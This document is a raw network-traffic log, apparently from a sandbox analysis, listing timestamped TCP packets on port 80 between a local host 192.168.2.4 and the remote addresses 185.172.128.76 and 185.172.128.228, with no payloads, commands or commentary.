Apr 23, 2024 09:38:12.187988043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188019037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188030005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188061953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188074112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188129902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188149929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188185930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188199043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188225985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188235998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188263893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188271046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188299894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188309908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188338041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188349962 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188374996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188380957 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188412905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188424110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188448906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188452959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188488960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188491106 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188525915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188532114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188563108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188571930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188597918 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.188606977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.188638926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.705302000 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.749001026 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.044660091 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.085246086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.085432053 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.152720928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:13.249176979 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249245882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249283075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249305964 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.249317884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249353886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249361038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.249389887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249427080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249432087 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.249479055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249514103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249542952 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.249548912 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249584913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249591112 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.249620914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249655962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249676943 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.249691963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249726057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249747038 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.249761105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249797106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249803066 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.249831915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249866962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249875069 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.249902010 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249938011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.249944925 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.249974012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250010014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250031948 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250045061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250081062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250097990 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250116110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250150919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250158072 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250185966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250221014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250231981 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250256062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250291109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250294924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250327110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250361919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250370026 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250396967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250432014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250439882 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250467062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250502110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250509024 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250539064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250574112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250590086 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250610113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250644922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250653982 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250679970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250715017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250721931 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250750065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250785112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250790119 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250821114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250854969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250861883 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250896931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250933886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250952005 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.250966072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.250999928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251020908 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251034975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251070023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251087904 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251104116 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251141071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251156092 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251177073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251213074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251215935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251249075 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251283884 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251290083 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251317978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251353025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251358986 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251388073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251422882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251441002 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251457930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251492977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251511097 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251528025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251562119 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251568079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251597881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251631975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251641035 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251667023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251702070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251709938 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251737118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251770973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251789093 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251806974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251841068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251847029 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251877069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251913071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251915932 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.251948118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251982927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.251987934 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252017975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252053022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252059937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252089024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252141953 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252151012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252187014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252221107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252245903 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252255917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252290010 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252310991 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252325058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252360106 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252373934 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252394915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252430916 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252435923 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252465010 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252500057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252505064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252533913 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252568960 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252576113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252603054 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252639055 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252645969 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252675056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252711058 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252716064 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252746105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252780914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252788067 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252816916 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252851009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252856016 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252887011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252923012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252923965 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.252958059 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252994061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.252999067 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253030062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253065109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253082037 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253099918 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253134966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253142118 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253170013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253207922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253209114 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253242970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253278017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253283024 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253313065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253348112 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253353119 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253382921 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253417969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253422976 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253453016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253487110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253492117 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253521919 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253556013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253563881 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253591061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253627062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253633022 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253660917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253695965 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253703117 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253731966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253767014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253772020 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253802061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253838062 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253854990 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253873110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253881931 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253910065 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253914118 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253947020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253951073 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.253983021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.253988028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254019022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254020929 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254054070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254057884 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254090071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254092932 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254126072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254131079 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254162073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254165888 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254196882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254199982 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254230976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254237890 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254266977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254271030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254302025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254307032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254338026 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254339933 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254373074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254378080 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254407883 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254410982 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254442930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254446030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254477024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254482031 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254512072 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254512072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254548073 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254550934 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254582882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254590988 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254617929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254620075 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254652977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254658937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254689932 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.254693031 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.254729033 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.353955984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:13.459013939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459084988 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459125042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459146976 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459165096 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459181070 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459181070 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459203005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459213972 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459239960 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459249973 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459275007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459285021 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459311008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459323883 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459346056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459357977 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459383011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459391117 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459419012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459429026 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459455967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459465981 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459492922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459501028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459527969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459537983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459564924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459573984 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459600925 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459609985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459635973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459649086 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459671974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459681034 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459707975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459714890 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459744930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459748983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459779978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459786892 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459815025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459821939 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459851027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459856987 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459887028 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459891081 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:13.459923983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:13.459928036 CEST	49735	80	192.168.2.4	185.172.128.228
